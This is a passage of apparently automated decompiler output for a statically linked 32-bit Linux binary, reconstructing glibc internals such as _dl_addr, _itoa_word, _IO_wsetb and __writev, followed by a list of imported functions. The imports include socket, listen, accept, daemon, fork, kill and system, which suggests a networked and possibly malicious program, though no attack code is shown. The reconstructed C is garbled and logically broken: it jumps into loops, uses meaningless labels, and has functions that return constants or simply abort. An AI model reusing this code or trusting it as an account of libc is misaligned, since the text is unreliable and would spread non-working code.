}
// Address range: 0x80bf4ac - 0x80bf6b3
int32_t _dl_addr(int32_t ** a1, int32_t a2) {
int32_t v1 = g95;
int32_t v2 = g97;
int32_t v3 = g96; // 0x80bf4b9
int32_t ** v4 = (int32_t **)v3; // 0x80bf4b9_0
__pthread_mutex_lock_internal((struct struct_3 *)&g23, (int32_t *)v3, &NULL->e0, &NULL->e0);
int32_t v5 = g91;
if (g91 != 0) {
int32_t v6 = g91; // 0x80bf51d
int32_t v7 = (int32_t)(struct struct_3 *)0x8132558; // 0x80bf4ec
// branch -> 0x80bf4dc
while (true) {
// 0x80bf4dc
int32_t v8;
if (v1 >= g2[51].e0) {
// 0x80bf4e4
if (v1 < g2[52].e0) {
uint32_t v9 = g2[42].e0;
if ((v9 || v7 & -0x10000) != 0) {
int32_t v10 = 32 * (v9 % 0x10000) - 32 + g2[41].e0; // 0x80bf50e
// branch -> 0x80bf50c
while (*(int32_t *)v10 != 1) {
// 0x80bf50c
v10 -= 32;
// continue -> 0x80bf50c
}
int32_t v11 = *(int32_t *)(v10 + 20); // 0x80bf51f
int32_t v12 = v11 + *(int32_t *)v6 + *(int32_t *)(v10 + 8); // 0x80bf51f
if (v1 >= v12) {
// 0x80bf528
v8 = g2[1].e0;
v5 = v8;
if (v8 == 0) {
// break -> 0x80bf52f
break;
}
v6 = v8;
v7 = v12;
// continue -> 0x80bf4dc
continue;
}
}
// 0x80bf551
if (v6 == 0) {
// 0x80bf52f
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 0;
}
// 0x80bf558
*(int32_t *)v2 = *(int32_t *)(v6 + 4);
*(int32_t *)(v2 + 4) = g2[51].e0;
uint32_t v13; // 0x80bf5cd
struct struct_18 * v14; // bp-20
uint32_t v15;
uint32_t v16;
int32_t v17; // 0x80bf657
int32_t v18; // 0x80bf58c
uint32_t v19; // 0x80bf577
int32_t v20; // 0x80bf57d
uint32_t v21; // 0x80bf586
int32_t v22; // 0x80bf58c
int32_t v23; // 0x80bf5c7
struct struct_18 * v24; // 0x80bf5f9_0
struct struct_18 * v25; // bp+022
struct struct_18 * v26; // 0x80bf603_0
struct struct_18 * v27; // bp+026
int32_t v28; // 0x80bf615
struct struct_18 * v29;
int32_t * v30; // 0x80bf65c
if (*(char *)*(int32_t *)(v5 + 4) != 0) {
// 0x80bf558
v18 = v6;
// branch -> 0x80bf574
// 0x80bf574
v19 = *(int32_t *)(*(int32_t *)(v18 + 56) + 4);
v20 = *(int32_t *)(*(int32_t *)(v18 + 52) + 4);
v21 = *(int32_t *)(*(int32_t *)(v18 + 72) + 4);
v22 = *(int32_t *)(v18 + 48);
v15 = v20;
if (v22 != 0) {
// 0x80bf597
v15 = 16 * *(int32_t *)(*(int32_t *)(v22 + 4) + 4) + v19;
// branch -> 0x80bf5a6
}
// 0x80bf5a6
if (v15 > v19) {
// 0x80bf5ab
v14 = NULL;
v16 = v1;
v26 = NULL;
v24 = NULL;
v28 = v19;
// branch -> 0x80bf5c7
while (true) {
// 0x80bf5c7
v23 = *(int32_t *)(v28 + 4);
v13 = v23 + *(int32_t *)v6;
if (v16 < v13) {
v25 = v24;
v27 = v26;
goto lab_0x7bd6640;
}
goto lab_0x122958e0;
}
} else {
// 0x80bf61a
v14 = NULL;
// branch -> 0x80bf621
}
// 0x80bf621
v29 = NULL;
if (v3 != 0) {
// 0x80bf628
*v4 = (int32_t *)v6;
v29 = v14;
// branch -> 0x80bf630
}
// 0x80bf630
if (a1 != NULL) {
// 0x80bf637
*a1 = &v29->e0;
// branch -> 0x80bf63f
}
// 0x80bf63f
if (v29 == NULL) {
// 0x80bf677
*(int32_t *)(v2 + 8) = 0;
*(int32_t *)(v2 + 12) = 0;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
// 0x80bf646
*(int32_t *)(v2 + 8) = v29->e0 + v20;
v17 = *(int32_t *)v6;
v30 = v14->e1;
*(int32_t *)(v2 + 12) = (int32_t)v30 + v17;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
// 0x80bf68f
if (g2[47].e0 == 3) {
// 0x80bf698
*(int32_t *)v2 = g22;
v18 = v6;
// branch -> 0x80bf574
} else {
// 0x80bf6a9
v18 = v6;
// branch -> 0x80bf574
}
// 0x80bf574
v19 = *(int32_t *)(*(int32_t *)(v18 + 56) + 4);
v20 = *(int32_t *)(*(int32_t *)(v18 + 52) + 4);
v21 = *(int32_t *)(*(int32_t *)(v18 + 72) + 4);
v22 = *(int32_t *)(v18 + 48);
v15 = v20;
if (v22 != 0) {
// 0x80bf597
v15 = 16 * *(int32_t *)(*(int32_t *)(v22 + 4) + 4) + v19;
// branch -> 0x80bf5a6
}
// 0x80bf5a6
if (v15 > v19) {
// 0x80bf5ab
v14 = NULL;
v16 = v1;
v26 = NULL;
v24 = NULL;
v28 = v19;
// branch -> 0x80bf5c7
while (true) {
// 0x80bf5c7
v23 = *(int32_t *)(v28 + 4);
v13 = v23 + *(int32_t *)v6;
v25 = v24;
v27 = v26;
int32_t v31; // 0x80bf5bc
if (v16 >= v13) {
lab_0x122958e0:;
unsigned char v32 = *(char *)(v28 + 12); // 0x80bf5d3
int32_t v33 = v5 & -256; // 0x80bf5d3
v5 = v33 | (int32_t)v32;
if (v32 % 16 != 6) {
int32_t v34 = *(int32_t *)(v28 + 8); // 0x80bf5e0
if (v34 == 0) {
// 0x80bf5e7
if (v16 != v13) {
// 0x80bf5eb
if (v16 >= v34 + v13) {
v25 = v24;
v27 = v26;
lab_0x7bc80d0:
// 0x80bf5bc
v31 = v28 + 16;
if (v15 <= v31) {
// 0x80bf621
v29 = v27;
if (v3 != 0) {
// 0x80bf628
*v4 = (int32_t *)v6;
v29 = v14;
// branch -> 0x80bf630
}
// 0x80bf630
if (a1 != NULL) {
// 0x80bf637
*a1 = &v29->e0;
// branch -> 0x80bf63f
}
// 0x80bf63f
if (v29 == NULL) {
// 0x80bf677
*(int32_t *)(v2 + 8) = 0;
*(int32_t *)(v2 + 12) = 0;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
// 0x80bf646
*(int32_t *)(v2 + 8) = v29->e0 + v20;
v17 = *(int32_t *)v6;
v30 = v14->e1;
*(int32_t *)(v2 + 12) = (int32_t)v30 + v17;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
lab_0x7bc8340:
// 0x80bf5c4
v26 = v27;
v24 = v25;
v28 = v31;
// branch -> 0x80bf5c7
continue;
}
}
} else {
// 0x80bf5eb
if (v16 >= v34 + v13) {
v25 = v24;
v27 = v26;
goto lab_0x7bc80d0;
}
// 0x80bf5f2
if (v21 <= *(int32_t *)v28) {
v25 = v24;
v27 = v26;
goto lab_0x7bc80d0;
}
lab_0x2ab944a0:;
// 0x80bf5f9
int32_t v35; // 0x80bf60b
if (v24 != NULL) {
// 0x80bf600
if ((struct struct_88 *)v23 <= (struct struct_88 *)v26->e1) {
v25 = v26;
v27 = v26;
goto lab_0x7bc80d0;
}
struct struct_18 * v36 = v26; // bp+024
// 0x80bf60b
v35 = (int32_t)(v32 / 16) | v33;
v5 = v35;
if (v35 > 2) {
v25 = v36;
v27 = v26;
goto lab_0x7bc80d0;
}
lab_0x1040bd20:;
struct struct_18 * v37 = (struct struct_18 *)v28; // 0x80bf615_0
v14 = v37;
v25 = v37;
v27 = v37;
// branch -> 0x80bf5bc
goto lab_0x7bc80d0;
}
// 0x80bf60b
v35 = (int32_t)(v32 / 16) | v33;
v5 = v35;
if (v35 > 2) {
v25 = NULL;
v27 = v26;
goto lab_0x7bc80d0;
}
goto lab_0x1040bd20;
}
// 0x80bf5f2
if (v21 > *(int32_t *)v28) {
goto lab_0x2ab944a0;
}
v25 = v24;
v27 = v26;
goto lab_0x7bc80d0;
} else {
v25 = v24;
v27 = v26;
}
}
lab_0x7bd6640:
// 0x80bf5bc
v31 = v28 + 16;
if (v15 > v31) {
goto lab_0x7bc8340;
}
// 0x80bf621
v29 = v27;
if (v3 != 0) {
// 0x80bf628
*v4 = (int32_t *)v6;
v29 = v14;
// branch -> 0x80bf630
}
// 0x80bf630
if (a1 != NULL) {
// 0x80bf637
*a1 = &v29->e0;
// branch -> 0x80bf63f
}
// 0x80bf63f
if (v29 == NULL) {
// 0x80bf677
*(int32_t *)(v2 + 8) = 0;
*(int32_t *)(v2 + 12) = 0;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
// 0x80bf646
*(int32_t *)(v2 + 8) = v29->e0 + v20;
v17 = *(int32_t *)v6;
v30 = v14->e1;
*(int32_t *)(v2 + 12) = (int32_t)v30 + v17;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
} else {
// 0x80bf61a
v14 = NULL;
// branch -> 0x80bf621
}
// 0x80bf621
v29 = NULL;
if (v3 != 0) {
// 0x80bf628
*v4 = (int32_t *)v6;
v29 = v14;
// branch -> 0x80bf630
}
// 0x80bf630
if (a1 != NULL) {
// 0x80bf637
*a1 = &v29->e0;
// branch -> 0x80bf63f
}
// 0x80bf63f
if (v29 == NULL) {
// 0x80bf677
*(int32_t *)(v2 + 8) = 0;
*(int32_t *)(v2 + 12) = 0;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
// 0x80bf646
*(int32_t *)(v2 + 8) = v29->e0 + v20;
v17 = *(int32_t *)v6;
v30 = v14->e1;
*(int32_t *)(v2 + 12) = (int32_t)v30 + v17;
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 1;
}
}
// 0x80bf528
v8 = g2[1].e0;
v5 = v8;
if (v8 == 0) {
// break -> 0x80bf52f
break;
}
v6 = v8;
// continue -> 0x80bf4dc
}
// 0x80bf52f
// branch -> 0x80bf52f
}
// 0x80bf52f
// branch -> 0x80bf531
// 0x80bf531
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
return 0;
}
// Address range: 0x80c0270 - 0x80c029c
int32_t __gconv_find_transform(int32_t a1, int32_t a2, int32_t a3) {
// 0x80c0270
g101 = g95;
g98 = g97;
g102 = g96;
pthread_once(&g86, (void (*)(int32_t *))__gconv_read_conf);
g95 = 0x813a8a4;
g97 = (int32_t)__gconv_read_conf;
return 0x813a8a4;
}
// Address range: 0x80c0490 - 0x80c04b9
int32_t __gconv_close_transform(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x80c0490
g95 = 0;
g96 = 1;
int32_t v1 = g94; // 0x80c04b2
int32_t result; // 0x80c04b9_1
if (v1 == 0) {
// if_80c04b2_2_true
g94 = 1;
result = 0;
// branch -> after_if_80c04b2_2
} else {
// if_80c04b2_2_false
g95 = v1;
result = v1;
// branch -> after_if_80c04b2_2
}
// after_if_80c04b2_2
return result;
}
// Address range: 0x80c0e30 - 0x80c10eb
void __gconv_read_conf(void) {
// 0x80c0e30
abort();
// UNREACHABLE
}
// Address range: 0x80cce78 - 0x80ccf6a
int32_t _itoa_word(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1 = g95; // 0x80cce7e
g96 = a1;
int32_t v2 = a4 == 0 ? 0x81172a0 : 0x81172e0;
int32_t result;
if (a3 != 10) {
// 0x80cce9d
if (a3 == 16) {
while (true) {
int32_t v3 = a2 - 1; // 0x80ccf10
result = v3;
unsigned char v4 = *(char *)(a1 % 16 + v2); // 0x80ccf16
g95 = v4;
*(char *)v3 = v4;
uint32_t v5 = g96; // 0x80ccf1b
uint32_t v6 = v5 / 16; // 0x80ccf1b
g96 = v6;
if (v5 >= 16) {
int32_t v7 = result - 1; // 0x80ccf20
result = v7;
unsigned char v8 = *(char *)(v2 + v6 % 16); // 0x80ccf26
g95 = v8;
*(char *)v7 = v8;
uint32_t v9 = g96; // 0x80ccf2b
int32_t v10 = v9 / 16; // 0x80ccf2b
g96 = v10;
if ((v9 & 8) != 0) {
// 0x80ccf20
a1 = v10;
a2 = result;
// branch -> 0x80ccf10
continue;
}
}
}
// 0x80ccebe
g97 = v1;
return result;
}
// 0x80ccea2
if (a3 == 8) {
while (true) {
int32_t v11 = a2 - 1; // 0x80ccf34
result = v11;
unsigned char v12 = *(char *)(a1 % 8 + v2); // 0x80ccf3a
g95 = v12;
*(char *)v11 = v12;
uint32_t v13 = g96; // 0x80ccf3f
uint32_t v14 = v13 / 8; // 0x80ccf3f
g96 = v14;
if (v13 >= 8) {
int32_t v15 = result - 1; // 0x80ccf48
result = v15;
unsigned char v16 = *(char *)(v2 + v14 % 8); // 0x80ccf4e
g95 = v16;
*(char *)v15 = v16;
uint32_t v17 = g96; // 0x80ccf53
int32_t v18 = v17 / 8; // 0x80ccf53
g96 = v18;
if ((v17 & 4) != 0) {
// 0x80ccf48
a1 = v18;
a2 = result;
// branch -> 0x80ccf34
continue;
}
}
}
} else {
uint32_t v19 = a3; // 0x80cceb1
while (true) {
int32_t v20 = a2 - 1; // 0x80cceac
result = v20;
int32_t v21 = a1 / v19;
g96 = v21;
unsigned char v22 = *(char *)(a1 % v19 + v2); // 0x80cceb5
g95 = (int32_t)v22 | v21 & -256;
*(char *)v20 = v22;
int32_t v23 = g96; // 0x80cceba
if (v23 != 0) {
// 0x80cceac
v19 = a3;
a1 = v23;
a2 = result;
// branch -> 0x80cceac
continue;
}
}
}
// 0x80ccebe
g97 = v1;
return result;
}
while (true) {
int32_t v24 = a2 - 1; // 0x80ccec8
result = v24;
g95 = a1 / 10;
*(char *)v24 = *(char *)(a1 % 10 + v2);
uint32_t v25 = g96; // 0x80ccee0
g96 = 0;
if ((v25 / 2 & 4) == 0) {
// 0x80ccebe
g97 = v1;
return result;
}
int32_t v26 = result - 1; // 0x80cceeb
result = v26;
g95 = 0;
*(char *)v26 = *(char *)v2;
uint32_t v27 = g96; // 0x80ccf03
g96 = 0;
if ((v27 / 2 & 4) != 0) {
// 0x80cceeb
a1 = 0;
a2 = result;
// branch -> 0x80ccec8
continue;
}
// 0x80ccebe
g97 = v1;
return result;
}
}
// Address range: 0x80dbb78 - 0x80dbbe2
int32_t _IO_wsetb(struct struct_141 * a1, int32_t * a2, int32_t * a3, int32_t result) {
int32_t * v1 = (int32_t *)g98; // 0x80dbb7c_0
int32_t v2 = (int32_t)a1; // 0x80dbb7d
int32_t v3 = *(int32_t *)(v2 + 88); // 0x80dbb80
g96 = v3;
int32_t v4 = *(int32_t *)(v3 + 24); // 0x80dbb83
int32_t v5 = a1->e0; // 0x80dbbe0
int32_t v6 = v5;
int32_t v7 = v3; // 0x80dbb94
int32_t * v8 = v1; // 0x80dbbd5_02
if (v4 != 0) {
// 0x80dbb8a
if (v5 == 1) {
int32_t * v9 = (int32_t *)v4; // 0x80dbbcf_0
munmap(v9, (*(int32_t *)(v3 + 28) - v4) / 4 + 4095 & -0x1000);
int32_t v10 = *(int32_t *)(v2 + 88); // 0x80dbbd7
g96 = v10;
v6 = *(int32_t *)v2;
v7 = v10;
v8 = v9;
// branch -> 0x80dbb91
} else {
v7 = v3;
v8 = v1;
}
}
// 0x80dbb91
*(int32_t *)(v7 + 24) = (int32_t)a2;
*(int32_t *)(g96 + 28) = (int32_t)a3;
if (result == 0) {
// 0x80dbbb0
*(int32_t *)v2 = v6 | 1;
g98 = (int32_t)v8;
return 0;
}
// 0x80dbba4
*(int32_t *)v2 = v6 & -2;
g98 = (int32_t)v8;
return result;
}
// Address range: 0x80dbe3c - 0x80dbebc
int32_t _IO_free_wbackup_area(struct struct_143 * a1, int32_t a2) {
int32_t v1 = (int32_t)a1; // 0x80dbe40
uint32_t v2 = a1->e0; // 0x80dbe43
if ((v2 & -256) == 256) {
// 0x80dbe94
free((int32_t *)*(int32_t *)(*(int32_t *)(v1 + 88) + 32));
int32_t result = *(int32_t *)(v1 + 88); // 0x80dbe9f
*(int32_t *)(result + 32) = 0;
*(int32_t *)(result + 40) = 0;
*(int32_t *)(result + 36) = 0;
return result;
}
// 0x80dbe4a
a1->e0 = 256 * (v2 / 256 & 254) | v2 & -0xff01;
int32_t v3 = *(int32_t *)(v1 + 88); // 0x80dbe4f
int32_t * v4 = (int32_t *)(v3 + 4); // 0x80dbe52_0
*v4 = *(int32_t *)(v3 + 40);
*(int32_t *)(v3 + 40) = *v4;
int32_t * v5 = (int32_t *)(v3 + 8); // 0x80dbe5e_0
int32_t v6 = *(int32_t *)(v3 + 32); // 0x80dbe61
*v5 = v6;
*(int32_t *)(v3 + 32) = *v5;
*(int32_t *)v3 = v6;
free((int32_t *)*(int32_t *)(v3 + 32));
int32_t result2 = *(int32_t *)(v1 + 88); // 0x80dbe74
*(int32_t *)(result2 + 32) = 0;
*(int32_t *)(result2 + 40) = 0;
*(int32_t *)(result2 + 36) = 0;
return result2;
}
// Address range: 0x80e27a4 - 0x80e28c6
int32_t __atomic_writev_replacement(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = g100; // 0x80e27a4
int32_t * v2 = (int32_t *)g102; // 0x80e27a7_0
int32_t * v3 = (int32_t *)g101; // 0x80e27a8_0
int32_t * v4 = (int32_t *)g98; // 0x80e27a9_0
int32_t * v5 = (int32_t *)g95; // 0x80e27ad_0
int32_t v6 = g97; // 0x80e27b0
int32_t v7 = v6;
int32_t * v8; // 0x80e288d_59
int32_t * v9; // 0x80e288a_18
int32_t result;
int32_t * v10; // 0x80e288d2
int32_t * v11; // 0x80e288d27
int32_t * v12;
int32_t result2; // 0x80e27f5
int32_t v13; // 0x80e2873
int32_t v14; // 0x80e2889
int32_t v15; // 0x80e28b2
int32_t v16; // 0x80e28b8
int32_t v17; // 0x80e2870
uint32_t v18; // 0x80e28af
if (g96 < 1) {
// 0x80e27ff
g102 = 0;
v13 = 0;
// branch -> 0x80e2817
// 0x80e2817
g95 = v13 + 18 & -4;
result = g96;
int32_t v19 = v13; // 0x80e281e
if (g96 > 0) {
// 0x80e2870
v17 = v7;
v7 = v13;
v15 = v13;
v16 = v17;
v10 = v12;
// branch -> 0x80e28ac
while (true) {
// 0x80e28ac
v18 = *(int32_t *)(v16 + 4);
result = v15;
v14 = v15;
if (v15 > v18) {
lab_0x7c47110:
// 0x80e2884
result = v18;
v14 = v18;
// branch -> 0x80e2889
}
lab_0x7c478b0:
// 0x80e2889
g97 = v16;
int32_t v20 = *(int32_t *)v16; // 0x80e288a
int32_t * v21 = mempcpy(v10, (int32_t *)v20, v14); // 0x80e288d
int32_t v22 = v7; // 0x80e2895
int32_t v23 = result; // 0x80e2895
int32_t v24 = v22 - v23; // 0x80e2895
v7 = v24;
if (v22 != v23) {
// 0x80e2899
if ((int32_t *)g96 == (int32_t *)0x80e2893) {
// break -> 0x80e281e
break;
}
v15 = v24;
v16 += 8;
v10 = v21;
// continue -> 0x80e28ac
continue;
}
// 0x80e281e
// branch -> 0x80e281e
// 0x80e281e
__libc_write();
// branch -> 0x80e27f5
// 0x80e27f5
g98 = (int32_t)v5;
g101 = (int32_t)v12;
g102 = (int32_t)(int32_t *)g102;
g100 = v1;
return result;
}
// 0x80e281e
v19 = g102;
// branch -> 0x80e281e
}
// 0x80e281e
__libc_write();
result2 = result;
v8 = (int32_t *)v19;
v9 = v12;
v11 = v5;
// branch -> 0x80e27f5
} else {
int32_t v25 = *(int32_t *)(v6 + 4); // 0x80e27b9
g97 = v25;
if (v25 >= 0) {
int32_t v26 = v6 + 12; // 0x80e27c4
g98 = v26;
int32_t v27 = 0; // 0x80e27ce
int32_t v28 = 0; // 0x80e27cc
// branch -> 0x80e27cc
while (true) {
int32_t v29 = v28 + v25; // 0x80e27cc
g102 = v29;
int32_t v30 = v27 + 1; // 0x80e27ce
if (g96 == v30) {
// 0x80e2848
v13 = v29;
if (v29 >= 0x1001) {
// 0x80e2850
int32_t v31;
int32_t v32 = __libc_alloca_cutoff(v29, v1, v31); // 0x80e2851
g97 = v29;
int32_t v33 = g102; // 0x80e285b
if (v32 == 0) {
int32_t * v34 = (int32_t *)v33; // 0x80e285b_0
__libc_malloc(v34, v1, v31);
g97 = v33;
// branch -> 0x80e27f5
// 0x80e27f5
g98 = (int32_t)v4;
g101 = (int32_t)(int32_t *)0x80e2861;
g102 = (int32_t)v34;
g100 = v1;
return -1;
}
v13 = v33;
}
// 0x80e2817
g95 = v13 + 18 & -4;
if (g96 > 0) {
// 0x80e2870
v17 = v7;
v7 = v13;
v15 = v13;
v16 = v17;
v10 = v12;
// branch -> 0x80e28ac
while (true) {
// 0x80e28ac
v18 = *(int32_t *)(v16 + 4);
result = v15;
if (v15 > v18) {
goto lab_0x7c47110;
}
v14 = v15;
goto lab_0x7c478b0;
}
}
// 0x80e281e
__libc_write();
// branch -> 0x80e27f5
// 0x80e27f5
g98 = (int32_t)v5;
g101 = (int32_t)v12;
g102 = (int32_t)(int32_t *)v13;
g100 = v1;
return g96;
}
int32_t v35 = *(int32_t *)v26; // 0x80e27d4
g97 = v35;
int32_t v36 = v26 + 8; // 0x80e27d6
g98 = v36;
int32_t v37 = 0x7fffffff - v29; // 0x80e27de
g95 = v37;
if (v35 > v37) {
// break -> 0x80e27e4
break;
}
v26 = v36;
v27 = v30;
v25 = v35;
v28 = v29;
// continue -> 0x80e27cc
}
// 0x80e27e4
// branch -> 0x80e27e4
}
// 0x80e27e4
g95 = -24;
result2 = -1;
v8 = v2;
v9 = v3;
v11 = v4;
// branch -> 0x80e27f5
}
// 0x80e27f5
g98 = (int32_t)v11;
g101 = (int32_t)v9;
g102 = (int32_t)v8;
g100 = v1;
return result2;
}
// Address range: 0x80e28c8 - 0x80e29d3
int32_t __writev(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t * a5, int32_t a6) {
int32_t v1 = g102; // 0x80e28cb
g102 = a1;
if (a3 == 0) {
// 0x80e28e7
g97 = 0;
g96 = 146;
// branch -> 0x80e2923
} else {
int32_t v2 = __libc_enable_asynccancel(a6, 0); // 0x80e2945
g98 = g102;
g97 = a3;
g96 = 146;
g95 = v2;
__libc_disable_asynccancel(a6, 0);
// branch -> 0x80e2923
}
// 0x80e2923
g102 = v1;
return 146;
}
// Address range: 0x80e4518 - 0x80e4563
int32_t __libc_alloca_cutoff(uint32_t a1, int32_t a2, int32_t a3) {
uint32_t v1 = (uint32_t)g95 / 4 - 1; // 0x80e4524
if (v1 > 0xffff) {
int32_t v2 = (int32_t)(a1 > 0x10000) ^ 0x10001; // 0x80e455c
g95 = v2;
return v2 % 2;
}
uint32_t v3 = v1 / 4; // 0x80e4532
if ((v1 & 2) == 0) {
int32_t v4 = (int32_t)(a1 > 0x40000) ^ 0x40001; // 0x80e454c
g95 = v4;
return v4 % 2;
}
int32_t v5 = ((int32_t)(v3 < a1) | v3 & 0x3fffff00) ^ 1; // 0x80e453a
g95 = v5;
return v5 % 2;
}
/* --------- External Functions --------- */
// int * __errno_location(void)
// int __overflow (_IO_FILE *, int)
// char * __secure_getenv (const char *)
// int _IO_feof (_IO_FILE *)
// int _IO_vfscanf (_IO_FILE *restrict, const char *restrict, __gnuc_va_list, int *restrict)
// void abort ()
// void abort ()
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len)
// int access(const char *path, int amode)
// int atoi (const char *)
// int bind(int socket, const struct sockaddr *address, socklen_t address_len)
// int close(int)
// int closedir(DIR *dirp)
// int daemon(int nochdir, int noclose)
// void exit (int)
// int flock(int fd, int operation)
// pid_t fork ()
// size_t fread (void *restrict, size_t, size_t, FILE *restrict)
// void free (void *)
// int fscanf (FILE *restrict, const char *restrict, ...)
// int fstat(int fildes, struct stat *buf)
// int32_t ftruncate(int32_t a1, int32_t a2);
// char * getenv (const char *)
// int getpagesize(void)
// pid_t getpid(void)
// pid_t getppid(void)
// int getsockname(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
// char *gettext (const char * msgid)
// int gettimeofday(struct timeval *restrict tp, void *restrict tzp)
// uid_t getuid(void)
// uint16_t htons(uint16_t hostshort)
// in_addr_t inet_addr(const char *)
// char *inet_ntoa(struct in_addr)
// int ioctl(int, int, ... )
// int kill(pid_t pid, int sig)
// int listen(int socket, int backlog)
// int32_t llvm_ctlz_i32(int32_t a1, bool a2);
// void longjmp(jmp_buf env, int val)
// void * memcpy (void *restrict, const void *restrict, size_t)
// void * memmove (void *, const void *, size_t)
// void *mempcpy(void *dest, const void *src, size_t n)
// void * memset (void *, int, size_t)
// void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off)
// int mprotect(void *addr, size_t len, int prot)
// int munmap(void *addr, size_t length);
// int open(const char *path, int oflag, ... )
// DIR *opendir(const char *dirname)
// int pthread_cond_destroy(pthread_cond_t *cond);
// int pthread_cond_signal(pthread_cond_t *cond)
// int32_t pthread_cond_timedwait(struct struct_84 * a1, int32_t a2, struct struct_83 * a3);
// void *pthread_getspecific(pthread_key_t key);
// int pthread_mutex_destroy(pthread_mutex_t *mutex)
// int pthread_mutex_init(pthread_mutex_t *mutex, const pthread_mutexattr_t *attr);
// int pthread_once(pthread_once_t *once_control, void (*init_routine)(void)
// int32_t pthread_setspecific(struct struct_45 * a1, int32_t * a2);
// int rand ()
// ssize_t read(int fildes, void *buf, size_t nbyte)
// struct dirent *readdir(DIR *dirp)
// ssize_t readlink(const char *path, char *buf, size_t bufsiz)
// int remove (const char *)
// void *sbrk(intptr_t incr)
// int select (int, fd_set *restrict, fd_set *restrict, fd_set *restrict, struct timeval *restrict)
// ssize_t sendto(int socket, const void *message, size_t length, int flags, const struct sockaddr *dest_addr, socklen_t dest_len)
// int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen)
// sighandler_t signal(int signum, sighandler_t handler)
// int sigprocmask(int how, const sigset_t *set, sigset_t *oldset)
// unsigned int sleep (unsigned int seconds)
// int socket(int domain, int type, int protocol)
// void srandom (unsigned int)
// int stat(const char *restrict path, struct stat *restrict buf)
// char *strchrnul(const char *s, int c)
// int strcmp (const char *, const char *)
// char * strcpy (char *restrict, const char *restrict)
// int32_t strlen(char * a1);
// int strncmp (const char *, const char *, size_t)
// char * strncpy (char *restrict, const char *restrict, size_t)
// char * strstr (const char *, const char *)
// int system (const char *)
// time_t time(time_t *tloc)
// int uname(struct utsname *name)
// int32_t unknown_809311a(void);
// int32_t unknown_809350a(void);
// int32_t unknown_80935d4(void);
// int32_t unknown_81316f8(void);
// int usleep(useconds_t)
// int vfprintf (FILE *restrict, const char *restrict, __gnuc_va_list)
// pid_t waitpid(pid_t, int *, int)
/* ---------- Meta-Information ---------- */
// Detected compiler: gcc (i686-redhat-linux-gcc) 4.6.3
// Detected functions: 990 (1071 in front-end)
// Decompiler release: v2.0 (Jun 1 2015)
// Decompilation date: Jun 10 2015 00:47:47